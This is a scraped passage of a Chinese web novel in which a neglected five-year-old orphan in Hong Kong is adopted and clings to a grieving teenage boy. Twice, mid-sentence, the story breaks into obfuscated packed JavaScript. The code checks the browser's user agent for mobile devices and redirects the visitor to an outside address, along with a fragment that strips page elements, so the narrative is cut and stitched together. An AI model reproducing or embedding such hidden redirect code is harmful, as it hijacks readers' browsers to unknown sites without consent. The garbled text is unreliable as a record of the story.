在周祖生提及许织夏有哥哥时,那个不为人知的瞬间,纪淮周眼底有一抹动容一闪即逝。 那根针好像也落到了他的身上。 警长懂其中逻辑,唉叹:“这小孩在圣约罗这一年,已经被三个领养家庭送回了。儿童院讲的,她有自闭倾向,情绪不稳,还是个哑巴。” 哑巴? 纪淮周一声不合时宜的讥笑:“扯淡。” 他没兴致再听,踩着自己的说话声离开,话音落地的瞬间只留下个后脑勺。 不出几步,他又顿足,捏了捏手里医用绷带,扭回头,漫不经心地瞟了眼过去,还是那副谁都不放在眼里的傲慢表情。 “她发烧了。” “——还没发现么?” 明明他每个字的语气都很寻常,但警长就是莫名感觉自己被他骂了,骂得还挺难听。 不过聊这没用的,确实不如先带人看病。 许织夏一个人坐在那个角落里,乖乖的没乱跑。 可是过去好长时间都没见少年回来。 她忍不住滑下椅子,鼻尖和两只小手都贴到玻璃门上,望出去,找他的身影。 隔着玻璃门,许织夏看着他从眼前走过。 他拆了那包医用绷带,一圈圈缠上有伤的手掌。 绷带勒着他骨骼分明的手,掌骨的血眨眼染红了绷带的白。 他长得是真漂亮,哪哪都周正,就算是额头的比例也要比别人优越。漂亮的额头露着,两边垂着碎短的龙须刘海,性子本就不着调,狼尾的发型显得他劣性更重了。 他上身只有背心,这样平平无奇的一件纯黑背心也硬是被他结实流畅的身段穿出型来。 他拽着绷带一端,抬起胳膊,腕部压向唇,咬住另一端,牙齿一扯,紧紧拉了个结。 可能是没看见她,也可能是他当做看不见,他眼里只有前方的路,人很快便隐匿进夜色里。 玻璃冰着许织夏烫乎乎的脸,她趴在门上,望眼欲穿地想—— 他还会回来吗? 就像在冰室的时候。 6. 故人不在 那晚,许织夏没有等到他,等到的是警署医务室的军医。 也是那晚,纪淮周抱着母亲的骨灰盒登机,心如止水地离开了港区。 这一走,他没想过再回来。 半夜,航班安全降落杭市。 私家车匀速行驶在高速公路,大路空旷,收音机关着,车内很静。 后座,纪淮周缠绷带的手搭在骨灰盒上,闭眼靠着,听着窗外其他车子飞驰过的风声一声掠过一声。 周清梧坐在副驾驶,说着长辈对晚辈的关怀。 适当寒暄几句后,周清梧说起到:“阿玦,以后留在杭市吧,户口就落到小姨家。” 纪淮周对周清梧的嘘寒问暖置若罔闻。 虽说周清梧是他母亲的亲妹妹,是他实打实亲缘上的小姨,但事实上他们的姨甥关系,同周祖生的远亲比起来,深不到哪儿去。 他只是在杭市出生,幼时生活过几年,而后便跟随母亲去了港区,时至去年,他和周清梧已经近十年未见了。 这一程再有交集,也不过是因为他母亲的病。 “等事情过去,小姨陪你回趟港区,办一下学校和机关的手续。”周清梧又说。 或许在周清梧看来,他终归是自己的亲人。 可在纪淮周眼里,这简直如同对一只流浪野猫的施舍。 “周老师。”纪淮周叫得生疏,终于不紧不慢开口:“不要随意投喂一只野猫。” 他阖着眼,语气有点凉,也有点懒:“它其实很自在,你非要喂它一顿,才真显得它可怜了。” 周清梧是杭市高校的心理学教授,不难领会到他意思:“野猫也是猫,是个人都不忍心看它流浪的。” 纪淮周勾出一丝讽刺的笑,没搭腔。 “对了,小姨考虑领养个女儿。”周清梧就此打住前面的话题,问道:“阿玦,你喜欢妹妹吗?” 明廷开着车,闻言英俊的面庞带出笑意:“要有女儿了,我这个做爸爸的怎么不知道?” 周清梧好笑地瞧丈夫一眼:“急什么,还没遇见投缘的。” 骨节后知后觉泛起丝丝痛感,纪淮周慢慢睁开眼,昏暗里看见自己的手掌缠裹着白色绷带。 他手指不是很灵活地握拳,再松开。 妹妹…… 他看着自己这一手自作自受的伤,在心里细品这两个字,感受到一种昨日重现的荒唐和讽刺。 打了他一枪,难道还要他自己往空弹匣里再装进第二颗子弹。 一场际遇本该就此终结,可纪淮周脑中莫名浮现出许织夏的脸。 那只小糯米团子被他丢在油麻地警署,扒着玻璃门,眼巴巴朝着他望。 ——不要随意投喂一只野猫。 ——你非要喂它一顿,才真显得它可怜了。 喂它一顿就走了,好像更残忍呢。 纪淮周重新陷入沉默。 直至此刻,无人知晓的黑暗里,他的眼神才算是真正有了几分察觉到同类的深刻。 - 薄扶林道圣约罗儿童院,是英治时期英国人建立的教会学校,国家对港恢复行使主权后,便因政策停止办学。 当时为容留无家可归的孩子,政府改建其为孤儿院,如今是一所收养幼儿、同时提供教育服务的福利院,里面的孩子有的是双非,有的是遗孤,也有部分混英寄养。 许织夏就是儿童院一年前从京市福利院收养回的双非弃儿。 圣约罗儿童院遗留了英式堡垒的复杂建筑风格,立面红砖,每两扇凸肚窗间的壁龛里都矗立着一座先哲雕像,象征爱与救赎的十字架立地在圆顶角塔上。 四面壁堡合围成的坪坝进深和开间都很宽敞,近课室的地方,植有一棵染井吉野樱。 许织夏被周祖生送回儿童院时,它的树冠还是光秃秃的,如今两个月过去,已然进入凋谢期,褐色光滑的树皮之上,渐粉的花瓣每日都落如雪下,有风时总有几片飞进课室的窗户里。 这天温度高,课室关着窗,冷气开很足。 课桌是用两张大尺寸的原木桌拼接的,小朋友们围着桌子,在小凳子上坐成一圈。 许织夏也穿着儿童院的院服,中筒袜,膝上英格兰条纹格中短裤,网球衫统一塞进裤腰里。 她坐在课桌转角的座位,周围有私语声也有嬉笑声,其他孩子都在交头接耳,没一个人和她说话。 因为她是个小哑巴。 可她也并不是真的哑,她是儿童院唯一一个从外地来的孩子,而那时候港区的风气,对讲普通话的人算不上友好,尤其是在儿童院,很容易成为其他孩子欺负的对象。 许织夏因此再不敢开口,久而久之,她差点都快忘了自己会讲话。 每当小朋友们共同玩闹时,许织夏都是这样孤零零低着头,悄声捏手指,自己和自己玩。 两个月前在油麻地警署,许织夏高烧超过三十九度,输液退烧后,第二天周祖生亲自送她回到儿童院。 走前医警姐姐帮她把食品袋里剩下的那只猪仔包加热了,但许织夏没吃,只是抱着,好像抱的是什么珍贵的宝贝。 梁院长很敬畏周祖生,因为周祖生,梁院长没有如同过去那样责骂许织夏,周祖生离开后,她才睇了许织夏一眼,随后拨出一通电话。 “当时你信誓旦旦同我保证,她哑了是心病,会开口讲话的,结果呢,呆头呆脑哭也不会,成日好似丧气鬼!” “这就罢了,她应激了还要咬人呢,都把我先生的手咬出血了!” 女人愤怒的质问声不断从手机里夺出。 梁院长只能赔笑,好声好气安抚:“黄太太,实在对不住……” 即使不明白她们讲的话,许织夏也知道是在斥骂自己,她能听出电话里是那第三个领养她的女人。 女人的声音和性格一样,乖张凶蛮,许织夏也想要听话,可那对夫妻只讲粤语,她听不懂。起初新鲜感尚在,女人还会对她假温柔,但一会儿就没劲了,撕了面具,露出厌弃又嫌恶的真面目。 新玩具玩腻了,就不想再要了,怨愤打骂也不是没有过。 不知所云的对话一句句灌进耳朵里,许织夏盯着自己脏脏的鞋子,站在原地不敢走,食品袋抱在怀里,还热乎乎的。 走廊里响起奔逐的动静,许织夏还没看见人,小腿边先拉过一阵风。 足球撞击门板“砰”地巨响。 许织夏吓得浑身一颤,足球弹回滚过她脚边时,她还有些心惊肉跳。 接着她就看见了那个大她两岁的混英男孩。 他比她高,比她壮,乜斜着一双天生异瞳的眼,眼角冒着阴恻恻的冷光。 许织夏开始抖,提心吊胆地看着他走近。 “Felix!” 梁院长捂住手机,压着嗓子指责男孩在宿舍踢球,语气却完全没有怪罪,只是无奈,话落就又扭回头去,继续笑盈盈和电话里的人周旋。 Felix也无动于衷,大摇大摆往男生居室走。 许织夏缩在墙边,耷着脑袋,他越走近,她耷得更下,他经过时,她面前一下失去光,覆盖下一片阴暗。 一只手毫无征兆地伸过来,抓住了她怀里的食品袋。 许织夏惊恐,本能抱紧,但她没Felix力气大,别过半个身子也没护住,被狠狠推了一把,噗通一下摔到地上。 腿还挨了他一脚踹,她疼得呜咽,连痛都呼不出声。 Felix抱起足球跑进了居室。 许织夏望见他蹲到床边,一头栽进从她那夺过去的猪仔包里,大口大口咬下去,鼓着腮帮狼吞虎咽。 梁院长手机握在耳旁,目睹这幕,也只是头疼地压了压额穴,任由他去。她一向偏袒Felix,这是公开的秘密。 许织夏最有体会,她总被Felix欺负。 她心疼地看着地上被撕得破烂的食品袋,闷着说不出话。摔倒时撑地猛了,手腕也生疼,但她没哭,食品袋被抢走的时候才红了点眼睛。 昨晚抱到现在,她一直舍不得吃。 梁院长不会来扶她,许织夏揉了揉腿肚,自己笨拙爬起,擦擦手心。 “我有命赚钱,没命养她!早知我是不可能领她走的,算我时运低!”电话里的女人仍未停止咄咄逼人:“没什么好讲的,你嘴里没句真!” 对面直接挂断,梁院长刚要出口的讨好咽回肚里,瞬间不再装,对着手机低骂了句难听的。 梁院长瞥向许织夏,一口港普,冲她怄气:“我煞费苦心送你出去,你是一点不争气,还给我惹一身祸!这都第三家了,再被拒养,你别想再有人要你!” 鞋跟在地砖上砸出愤愤的哒响。 梁院长离去后,许织夏默默进了隔壁的女生居室。儿童院的宿舍,小床一排排铺展开,拥挤得过道只允许一人行。 许织夏小心翼翼坐到角落里那张自己的小床边。 乌云不知何时遮了日,又要下雨了。 五岁的许织夏和外面的天一样,灰蒙蒙的。 可她从来不哭。 不管是在京市的福利院,还是在港区的儿童院,她都没有掉过一滴眼泪,每天都很乖,很乖地等着。 她始终觉得只要自己听话,有一天,妈妈就会来接她的。 - 当时烧迷糊了,后来回想起流落街头那两日发生的事,就如一场白日梦,清醒后她依然身陷囚笼,一切照旧。 此刻许织夏坐在这个冷冰冰的课室里,冷气呼哧,骨头都寒得酸痛。 梁院长肃着脸在门口出现,课室里刹那鸦雀无声。所有小朋友都畏惧她,除了Felix. 看护托着托盘,跟在梁院长后面进了课室,把下午点心放到课桌上,正巧搁在许织夏面前,里面是一瓶瓶鲜牛奶。 这时,梁院长又被助理叫出去,不知听到什么,她突然燃起许久未见的热情。 “哎呀,周太太过来了呀!我马上去马上去!”梁院长嘴里念叨着,扬着笑脸快步朝办公室的方向走了,显然对方是个有来头的。 梁院长一走,Felix就抓了瓶牛奶。他的动作解禁了其他孩子,大家蜂拥而上,争先恐后去拿牛奶。 许织夏被左挤右挤,在中间挤得她险些窒息。等他们争抢到后一个一个回到座位,四周才渐渐散开。 所有人都拿完了,坐在自己的座位喝。 托盘里还剩最后一瓶。 许织夏看着那瓶近在眼前的牛奶,停顿了几秒,终于也抬起双手,慢慢伸过去,刚握到瓶身,瓶子骤然被一股力抽了出去。 仅一瞬,她手里又空了。 Felix拧开夺到手的牛奶,仰头咕噜咕噜地喝,他自己那只空掉的瓶子在桌面滚动。 反抗是要吃多余的苦头的,许织夏不敢,哪怕丧气的表情都不敢有。 空气中漂浮着牛奶浓郁的香气,大家都有牛奶喝。许织夏偷偷咽了下口水,沉默无言地揽住沉重的托盘,身形不稳走过去,放到门外的回收台上。 回到座位,许织夏要坐,Felix踹飞了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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霎那间,许织夏错觉眼前的不是儿童院课室的窗,而是警署那一面她曾眼睁睁看着他离开的玻璃门。 望穿秋水,他回来了,没有丢下她一个人。 通过逼仄的回廊,推开门,暖烘烘的热气扑面,一口吞并了楼内的阴冷,站到天光下,热烈的日光涌至,明亮占据视野。 许织夏迈着步子小心试探,迟迟才走到他跟前。 她个子只接近他腰骨,望他时脸仰很高,眼神迷茫得,像一座枯叶落尽的秋山起了夜雾。 他的出现太匪夷所思。 纪淮周歪着头,垂眸打量她。 她没了两个月前死皮赖脸要跟他走的劲,一路走过来慢吞吞的,仿佛是在靠近一个陌生人。 这就把他忘了? 白吃他两个猪仔包。 树底下光影错落,纪淮周轻悠悠冲她“喂”了一声,百无聊赖的,语气依旧不温柔。 “还想不想跟哥哥回家?” 他说这句话的时候并无特别的情绪,却在她的秋山上亮起了一盏小小的灯火,这盏灯火的光足以拥抱住她。 但或许是天黑太久,许织夏不敢当真。 纪淮周知道她不是哑巴,闲着也是闲着,他右脚可有可无地踩着拍子,给予了点耐心等她讲话,可她一直愣着没吭声。 “点头都不会了?”纪淮周不咸不淡催促。 许织夏呆呆注视着他,没反应。 他又抬手招她走近些,她还是动也不动。 纪淮周这时回忆起警署的片段,意识到什么,他敛敛眼睫,唇角一扯似笑非笑:“听他们说了哥哥的样子,不敢了?” 他上前一步,右膝落地蹲到她面前,手肘支着腿:“你害怕吧。” 光线从吉野樱树间照下来,在他眼睑处落下一圈淡淡的阴翳,他吊儿郎当地笑,摆了个欠揍的眼色。 “哥哥就是他们说的那样。” 许织夏一瞬不瞬望着他。他的伤愈合了,没有留下痕迹,近距离明媚的光下,许织夏看清了他泛着暗暗蓝调的虹膜。 蓝黑色的眼睛,显得他如玻璃珠冷洁的眼球更漂亮了。 他明明在笑,可她却感觉到几分阴郁。 许织夏又听见他无关紧要地说:“放心,我这次走了,就不会再回来了。” 他站起,背过身,像是要走,许织夏才慢半拍地脱离了不真实的感觉。 许织夏轻轻拉住了他的手。 纪淮周回首,撞上她干净的眼睛。 小孩子的手凉凉的,有种没有骨骼的柔软,两只都捏着他手指,以一种想依赖又谨小慎微的力度。 他方才那些恶意唬人的话,她似乎完全没有听进去。 交接的目光里,许织夏温顺地点点头。 日光普照,照着纪淮周乌黑洁净的头发丝丝分明,和许织夏在光里半透明耳肉上薄薄的小绒毛。 四周都是白里透粉的花片飞落,地上两个破碎的影子在相望。 得到她迟来的回应,纪淮周神情讳莫,过片刻他偏过脸,弯腰捞起旁边长椅上搁着的那杯饮品,递到许织夏面前。 是那回在冰室,她没喝到的朱古力。 “甜得要命。”他用温温热热的杯身叩了下许织夏的额头,不显山不露水:“喝不喝,不喝扔了。” 那杯朱古力比课室里任何一瓶牛奶都要香。 那瞬间许织夏分清了春夏,热风滚烫,全世界的阳光仿佛都在她周身融化。 妈妈说,要遇着心眼儿好的就跟人回家。 她想跟他回家。 7. 故人不在 机轮脱离港区的土地,飞机腾空而起。 上回飞渡在这三万英尺的云霄,还是她被人从京市送往港区的时候,那道航迹是父母甩弃她的抛物线。 一年后,许织夏跟着少年,又一架飞机从港区去了江浙。 那个时候,她甚至都还不知道他的名字。 私家车开出杭市国际机场,平稳驶向许织夏未知的目的地。 这座城市疏阔,近处常见梧桐大道,远阔处有空蒙的山和塔,高楼虽拔地而起,绿意仍随处可见,行人都是慢慢悠悠的,和拥挤紧赶的港区好不一样。 明明同样人地生疏,许织夏的神经却没那么紧绷了,或许是因为少年就陪在身边。 同行的还有一位阿姨,那日在圣约罗儿童院,梁院长的办公室,许织夏已经和她见过。 女人眉目清秀,尽管穿着优雅的青花瓷长裙子,也会在她面前蹲下来,指指站在一旁的少年,告诉她自己姓周,叫周清梧,是这个哥哥的小姨。 “宝宝可以叫我妈妈,也可以先跟着哥哥,叫我小姨。”那天周清梧摸着她的脑袋,格外尊重她意愿:“以后我们一起生活好吗?” 许织夏对周清梧印象很好,她性格温婉,情绪稳定,说话时眉眼总有笑,和其他大人都不一样。 看到她,许织夏就像看到了自己的妈妈,可许织夏清楚地知道,她不是。 她有妈妈,她的妈妈不是她。 因此许织夏内心深处,反而对周清梧多了一份抵触。 所以当时在许织夏心里,最信赖的人依然只有纪淮周。 这个在她漫长不幸里第一个出现的少年,是她年幼单纯的小小心思里的不可替代。 车子抵达别墅,一套西湖边上闹中取静的中式合院。 家里的家政陈妈上去迎接:“明总还在吉隆坡谈生意,下午的航班,到家得晚上了,晚餐让您和孩子们先吃。” “晓得了。”周清梧心情愉悦:“我带宝宝看房间,行李就拜托你们收拾了,陈妈,等下再准备些点心。” 陈妈应声。 待他们进屋后,司机陈伯边开后备箱边问:“太太怎么大老远要领养港区的小孩儿?” “太太那个在港区官很大的远方表亲,周警官,你记得吧?过丧那会儿他来过电话,知道太太想收养个女儿,就讲了这小姑娘的事情。父母多少狠心,把人从京市丢到港区去了,孩子才五岁,都讲不来港话……” “要是太太不领养,她在那边要被排挤的,多可怜!”陈妈叹气:“咱们太太心肠软,老好人了,而且也巧,这小姑娘还是阿玦捡到,给送到警察局去,周警官正好在。” “这边福利院的孩子又都不合适,太太就跟明总商量了,隔着海关不方便审查,明总还托了好几层关系呢。” 陈妈说着,帮忙拎行李。陈伯是她的丈夫,他们在周家共事多年,这些也不是秘密。 陈伯感慨:“太太是心疼这小孩儿了。” “可不是吗,不过最主要的原因还是……”陈妈手心掩在唇边,凑到陈伯耳旁,压着声音,后半句话悄悄告诉他。 陈伯表情豁然,若有所思:“难怪……” “巧不巧,你说这缘分不是老天爷早安排好的,我都不信!太太和她注定有母女情分啊。” 陈妈笑道,又说:“但这孩子留不留得下还是个问题,现在说是要先过融合期,才能登记。” 纪淮周上二楼,他腿长,迈着大步,许织夏在后面跟得很紧,生怕被落下。 他进房间,许织夏也跟着进了他的房间。 纪淮周在那个年纪身高就超过了一米八,但五岁的许织夏只有一米左右高,追在他后面跟条小尾巴似的,画面喜感又可爱。 周清梧看得笑起来:“宝宝的房间就在哥哥隔壁,想在哥哥这里先玩会儿吗?” 目光所及是床下敞开的黑色行李箱,少年的衣物收在里面。 周清梧笑意僵住,一抹疑惑浮上眼底。 见纪淮周走出阳台,周清梧安顿许织夏坐到沙发,自己跟出去,瞧见他在阳台低头坐着。 自从抱着母亲周故棠的骨灰盒回到杭市,留宿此处的这段日子,他一直都很沉默,吃饭时沉默,独处时更沉默,总是黑灯瞎火也这样自己坐在阳台,垂着脑袋,长久长久地待着,什么都不做。 哪怕在母亲的葬礼上,他都是冷漠寡言,老话里管这叫丢了魂。 周故棠是病逝,漫长救治下永远解脱,也算是一种安乐。因此纪淮周和周清梧都没有猛烈的悲伤,这是种钝刀子割肉的痛。 他一直自己闷着,周清梧怕他出心理问题,于是等四十九天守孝期过去,借着领养许织夏,拜托他陪同去港区。 一方面是听说许织夏愿意和纪淮周亲近,她情况特殊,周清梧担心她怕生抗拒。另一方面,也是希望纪淮周能把情绪转移出去。 纪淮周只在得知她要领养的女儿就是许织夏时,有过一瞬间的意外,即刻便又是事不关己的样子,平静回应一声“嗯”。 轮到周清梧意外,她笑说:“还以为你不愿意呢。” “说过了,欠您的人情,该还还。” 他母亲的后事,是周清梧一手操办的。 周清梧知道他认定的事情不存在改变,只说道:“没什么要问的?” 如果非要问,纪淮周只在意一点:“非得是她么?” “你放心,我领养这闺女跟你无关,”周清梧会心一笑:“我有我的原因。” 收养她是因她本身,而不是其他任何人。 不过周清梧确实也期盼着,他能因许织夏的存在心情有所改变,或许会愿意留在这里。 可如今看来,收效甚微。 此刻他坐在阳台,周清梧走过去,果然听见他说—— “我下午走。” 他手肘支着膝,目光垂地,头也没抬。 周清梧没有惊讶,只是感叹。 他只是个少年,别的孩子还在被父母催着学独立,他却早已默默学会了自行决策任何事,不需要,也排斥被需要。 在小小的年纪成为了一个反依赖的大人,也是一种悲哀。 “要去哪个地方?”周清梧坐到他旁边。 纪淮周淡淡说:“棠里镇。” 那里不在市中心,也不在景区,周清梧印象不深,只记得地处杭市和苏市交界,未经过商业开发,都还是遗留下的青瓦白墙的老房子和水阁。 江南这一带,水乡古镇多得是,小桥流水,住着清静段日子也不是坏事。 周清梧不阻止,但说:“小姨这里的房间一直给你留着,之后你不还得上学吗?” 他不痛不痒的:“我这样的人,还读书呢?” 周清梧费解:“你这年纪不读书做什么?” “找个没人认识我的地方,”纪淮周拖着慢悠悠的腔调:“等死。” 周清梧蹙眉,嗔怪:“乱讲话!” 纪淮周漫不经心地笑了:“我没出息妨碍您了么?” 周清梧不听他耍嘴皮子,正色道:“事情都已经这样了,阿玦,不要再颓废下去。” 话落的刹那,纪淮周蓦然起身。 他双手揣着兜往屋里走,情绪低气压,人却又懒懒散散的没正形:“不颓废事情他妈的也已经这样了。” - 纪淮周说走就走,当天下午就离开了别墅,连陈妈准备的下午茶都等不及先尝一口。 他早有打算,非随身物在赴港前就一并寄去了棠里镇,眼下就一只行李箱,来去自如。不过周清梧坚持要陈伯送他,纪淮周懒得费口舌,没拒绝。 许织夏直愣愣地看着他放行李到后备箱,再坐进后座,车门就要合上的刹那,他目光扫出门的开口,同她对视了一眼。 也就那么一秒钟。 随即他便扭过头去,砰得一声,毫不留恋地关上了车门。 许织夏站在原地,迷惘地看着车尾从她眼前远去。周清梧领她回屋,她时不时回头望。 她完全不知道发生了什么,不知道自己已经被他丢在了这里,只下意识在想,他会回来的,只要她乖乖的就好了。 像在芳华冰室,像在油麻地警署。 他肯定会回来的。 所以那日,许织夏还是很温顺,周清梧说什么她都安安静静照做,天黑了,没见他回来,她就听话上床睡觉。 她的房间是精心修饰过的公主房,比儿童院里一整间寝室都要宽敞,米白短绒地毯全铺,挂着暖粉色绒布窗帘,床也很大。 不像儿童院的小木床又窄又矮,每排都有八九张拼在一起,那张属于许织夏的床在最角落的边缘,其他小朋友半夜睡得横七竖八,只有她老实缩着。 就是因为老实,她时常会被卷走被子,半夜还会被挤得掉到地板上。暖和时还好,天凉的时候最难熬,统制的睡裙薄得空荡荡,她总是蜷在床边,连喷嚏都不敢打出声,怕吵醒了谁又要挨欺负。 在这理应多眠的年纪,许织夏就没睡过踏实觉。 那晚小夜灯舒缓,卧室宁静,可床再阔,被子再柔软,许织夏依旧没睡安稳。夜深人静,放大了她对陌生的不适,许织夏逐渐感到不安和焦虑。 她躲在被褥下,只露出一双眼睛,盯着紧闭的房门。 很晚的时候,外面响起压低的动静。 “都这个点了,怎么才到家?” “航班延误了,闺女呢?” “早睡了,你也休息吧,明天再见好了……” 门外很快又恢复了一片静谧,困意强行将许织夏绷紧的神经一点点拉扯松,她才不知不觉睡过去。 翌日几丝微渺的亮光透进窗帘缝,门被慢慢推开,许织夏迷迷糊糊间感觉到有人走到她床边,很小心地把她的被子往上掖了掖。 “太太,早餐……” “嘘——” 床边的脚步和声音又轻轻离远。 “明廷今天公司忙,我也得在学校,白天你多照顾着点。” “您放心。” 一切声响都被门再度隔绝。 许织夏习惯了儿童院的作息,没过多久就自然清醒了,当时这栋大房子里只有她和陈妈。她不愿意出去,陈妈就把餐食端上楼,照顾得十分尽心。 日暮时分,许织夏闭眼要睡,陈妈才离开房间,下楼去备晚餐。 许织夏压根没睡着,她爬下床,赤脚蜷到了卧室的角落里。 她还在京市时,那套五进四合院里住着好多人,她就是和现在这样,一个人被留在某个深院的一间大屋子里,也是只有个阿嬷照顾她。 妈妈偶尔在,悄悄过来的。 而爸爸一出现就是踹椅子摔瓷器,怒妈妈违背他规矩。 男人总是西装革履,周身难攀的贵公子气质,见到他,许织夏会胆颤,但也会小声地叫他爸爸。 只不过男人并不爱听,每回都反感地喝止她闭嘴。 渐渐地,她就不敢讲话了。 往日的生活是混合进空气里的氢气,纵使具体的事许织夏已经记不清了,但一遇明火,噩梦的感觉就会被迫引爆,在她脑海里蔓延重演。 许织夏抱着双腿背贴墙,没有那人在的空间,她越来越感到不安和煎熬。 ——还想不想跟哥哥回家? 天又黑了。 他怎么还不回来呢? 阒静的院子出现一丝骚动,车灯光闪过两下,许织夏抬头,窗外已然恢复寂静,但楼下隐约有人说话。 不多时,门外的脚步声渐渐清晰,锁匙声响,门把手压落。 许织夏缩成一团,敏感地吊起了根神经。 门被人从外面慢慢推开。 卧室没开灯,陷在晦暗里,过道射灯的光照进门隙,明暗的交界出现成年男人高大的身影。 他穿着脱去西装外套后的白衬衫和配套深棕马甲,条纹领带系得板正,虽然脸是模糊的,但清贵的气质和光同时直达人眼底。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726218|189460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >画面和许织夏印象里那个男人的样子几乎重合。 爸爸…… 许织夏瞬间变成一只应激的猫,因恐惧而带上攻击性,戒备地紧盯着门的方向。 - 傍晚时分开始下雨,棠里镇今夜早早便静了。 水阁朝南临河,墙瓦都有些年代了,二楼的古旧木质长桌靠窗,雕花木格窗完全打开。 房间没有光源,窗外水上的夜幕比屋里要亮。 桌前不见人,屋子里也没两件家具,占地的只有两只纸板箱,一只正常大小,寄件时的打包胶都还封着。 另一只接近人的半身高,有拆过的痕迹。 昏暗的角落里,纪淮周曲着一条腿,身形颓唐,席地在大纸箱和墙角围出的逼仄空间。 他垂着脑袋,狼尾发没扎,散乱在脸前,形象和这破败的老房子倒是有几分和谐。 他腿边有一坛白酒,坛子已经空了。 白天随手买的,这小镇子又偏又荒,连个烟酒行都没有,只能买到这种陶土坛子的酒。 好就好在,他就算死在这里,也没人打扰。 湿润空气由夜风带进房间,稀释了呼吸里的酒精味,扔纸箱上已久的手机亮屏,响起震动声。 纪淮周一动不动,没想管,由着它震了静,静了震,但这通电话似乎不等到他接就永不休止。 反复几回后,纪淮周才终于烦了,一把捞过手机,语气因醉意而情绪化,嗓子也被酒精麻痹得低哑。 “说。” “阿玦。”周清梧声音有些着急,没了平日的冷静:“你回来一趟吧?宝宝出了点状况。” 纪淮周没回应,下意识皱眉。 周清梧在电话里解释说,许织夏应激反应,把明廷的手咬到出血,她原本就有心理障碍,何况是新环境,轻易会受到刺激。 “你姨夫倒没事,就是宝宝应激了,一直发抖,躲在窗帘后面不愿意出来。” “问过医生,宝宝太小,不建议直接注射镇静剂,尽量让她自己把情绪稳定下来,但我们不好做什么,怕再刺激她。” 纪淮周听着,缓缓睁开发丝后闭合的眼。 周清梧接着说:“后来我问她想不想见你,她才平静一点……怪我今天都在学校忙,没有好好陪她。” “小姨也是没别的办法了,阿玦,你就当再帮帮小姨,我叫陈伯开去棠里接你,好不好?” 纪淮周没立刻回答,回想起离开别墅前,他坐进车里,和那小姑娘对视的那一眼。 静默片刻,他又阖了双眼,不咸不淡拒绝:“不去。” “那……我带她去找你,好吗?” - 雨停了,水珠顺着屋檐滴滴答答。 纪淮周依旧那个姿势靠着纸箱和墙,放任自己的精神颓靡消沉,一个多小时过去,他身上和屋里的酒气几乎都散了。 一通来电震动,他从醉生梦死中抽离。 起身时碰倒了酒坛,坛子在木地板上滚了一圈,不知道最后滚到哪里去了。 纪淮周视若无睹,不紧不慢下楼,拉开院子的木门,周清梧领着许织夏,就站在门外湿漉漉的青石板上。 许织夏身上的长袖棉睡裙都没换下,肩颈瑟缩着,模样提防,还处在应激后敏感的状态。 门一开,纪淮周出现眼前。 那个瞬间她暗如死灰的双眼跟着一下子泛出了情绪。 许织夏飞快冲过去,撞到他腿上,紧紧揪住他卫衣,在他背后躲着,似乎很害怕。 周清梧环顾四周。 这里到处都是僻静的弄堂和桥,路面不是水泥,不是沥青,更不是柏油,而是大小不规则的一块块青石板,车子都开不进来,民居因年代久远白墙表面还有了一片片返潮发霉的黑斑。 她难免担忧。 “不放心就带回去。”纪淮周倦懒地说。 此刻天大的问题都不如许织夏的情绪要紧,何况纪淮周不着调也只是自己不着调,从不亏欠人的。 他说出口的人情,就一定会还得干干净净。 周清梧晓得他是靠谱的,眼下也不该优柔寡断:“有什么问题,随时给我电话。” “嗯。” 纪淮周回身进屋,许织夏跟住他,牢牢黏在他身上。 他一如在港区那栋大厦前,没同意,也没拒绝。 这套青瓦白墙的二层民居比别墅要残破得多,木楼梯年久失修,踩上去会有“嘎吱嘎吱”让人心慌的声音,好像随时要塌掉。 许织夏反而逐渐感到安全,因为他在。 但是走至二楼房间了,许织夏还是拽着他衣摆不放。 小孩子心思再简单,到此刻,她也慢慢意识到,他不是出个门而已,而是把她丢下了。 明明他们说好的…… 许织夏心里冒出一点不敢表露的委屈,或许她自己都未察觉。 屋里依旧一盏灯都没开。 踢到坛子,纪淮周就此止步。 他回头,见许织夏低着脑袋,非要见他,见到了又没个笑脸,闷沉沉地有点小别扭。 纪淮周一下子就猜中了她心思。 他在圣约罗问她,还想不想跟他回家,结果自己走了。 纪淮周垂眼瞅着她,戏谑淡笑一声:“怎么了,觉得哥哥骗了你?” 酒差不多完全醒了,只是泡软了他的筋骨,他慢慢悠悠走到桌前,四肢一卸劲,人摔坐进木椅里,阖着眼,脖颈失重后仰,一身懒态。 “哥哥是骗了你。”他拖着尾音,懒洋洋承认。 许织夏在原地抬起脸,周围黢黑,但临河的水光让屋子有了一丁点儿如夜雾朦胧的亮度。 少年靠躺在木交椅里,影影绰绰的暗光虚笼着他脸廓,和他颓唐的身影。 他睡着了吗? 许织夏望着他,内心一片空旷。 寂静了好几秒,他呢喃了句什么,声音低得像是在自言自语。 “哥哥也没有家……” 8. 故人不在 小镇的夜晚格外宁静,静得能听见窗外临河的水流,里外都没有灯光,雨后的月亮就更通透了。 月色斜下一道光影,落在木桌那一堆手绘图纸上。 少年就那么塌腰仰在交椅里,没了动静,应该是睡过去了。 许织夏小心地走过去,到他旁边慢慢坐下来,后背对向他,靠着椅子腿,没有发出一点声响。 她埋下脸,抱住自己,也闭上眼睛。 这么个凋残又黑灯瞎火的空间,听着他的呼吸,她的情绪也安定下来,像找到了容身之地。 “我讨厌平庸,我想出人头地想高人一等,阿玦,回纪家的只能是我。” “这算什么心狠,你就是现在死了哥哥也不会有什么感觉……” 纪淮周倏地睁眼。 窗外的月光撞进他蓝黑色的眼瞳,他迅速清醒过来,望着黑漆漆的房梁,喉结颤动凸起,颈静脉怒张,呼吸压得沉且急促。 平复一两分钟,他有意识地松开了攥住的拳头,一垂眼,就瞧见许织夏蜷坐地面,挨他腿边上。 这么小一团黑影,跟他养的猫似的,想占也占不了多大的地。 